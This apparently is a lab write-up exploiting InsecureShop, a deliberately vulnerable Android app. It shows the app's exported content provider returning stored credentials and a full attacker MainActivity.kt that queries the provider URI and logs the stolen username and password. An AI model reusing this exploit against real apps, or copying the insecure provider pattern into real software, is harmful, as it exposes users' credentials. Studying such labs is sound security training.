In Android, Content Providers are a very important component that serves the purpose of a relational database to store the data of applications. Insecure implementations of an applicationβs content provider could be a high-risk attack vector which could allow malicious applications to freely leak/retrieve data from it. While viewing the manifest for insecureshop, the content provider declaration sticks out as a red flag due to the exported attribute:
This means that any application on the device can interact with the provider with the proper permissions (com.insecureshop.permission.READ). Next, weβll be looking at the source code for :
class InsecureShopProvider : ContentProvider() {
companion object {
var uriMatcher: UriMatcher? = null
const val URI_CODE: Int = 100
}
override fun onCreate(): Boolean {
uriMatcher = UriMatcher(UriMatcher.NO_MATCH)
uriMatcher?.addURI("com.insecureshop.provider", "insecure", URI_CODE)
return true
}
within the onCreate method, we can see that the uriMatcher adds a URI which should be used to connect with the provider. In this instance, we will be using the following URI: content://com.insecureshop.provider/insecure
override fun query(
uri: Uri,
projection: Array<out String>?,
selection: String?,
selectionArgs: Array<out String>?,
sortOrder: String?
): Cursor? {
if (uriMatcher?.match(uri) == URI_CODE) {
val cursor = MatrixCursor(arrayOf("username", "password"))
cursor.addRow(arrayOf<String>(Prefs.username!!, Prefs.password!!))
return cursor
}
return null
}
override fun getType(uri: Uri): String? {
return null
}
override fun insert(uri: Uri, values: ContentValues?): Uri? {
return null
}
override fun delete(uri: Uri, selection: String?, selectionArgs: Array<out String>?): Int {
return 0
}
override fun update(
uri: Uri,
values: ContentValues?,
selection: String?,
selectionArgs: Array<out String>?
): Int {
return 0
}
we can see that the query method is the only one with some code/logic on it. It creates a cursor with the username and password columns then populates them with the credentials from shared preferences.
In order to exploit this, weβll need to use the required permissions for the provider. After which, we can use a content resolver to query data from the content provider URI that we provide. If the query is succesful, we write the results into logcat.
MainActivity.kt
@SuppressLint("Range")
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main)
// connect with the content provider
val shopProviderURI = "content://com.insecureshop.provider/insecure"
val cursor = contentResolver.query(Uri.parse((shopProviderURI)), null, null, null, null)
when (cursor?.count) {
0 -> { Log.d("SHOPEXPLOIT", "Query returned 0. Something must be wrong")}
null -> { Log.d("SHOPEXPLOIT", "Query returned null. Something is definitely wrong")}
else -> {
cursor.apply {
while (moveToNext()) {
val username = getString(getColumnIndex("username"))
val password = getString(getColumnIndex("password"))
Log.d("SHOPEXPLOIT", "exfiltrated creds from shop provider: $username, $password")
}
}
}
}
cursor?.close()
}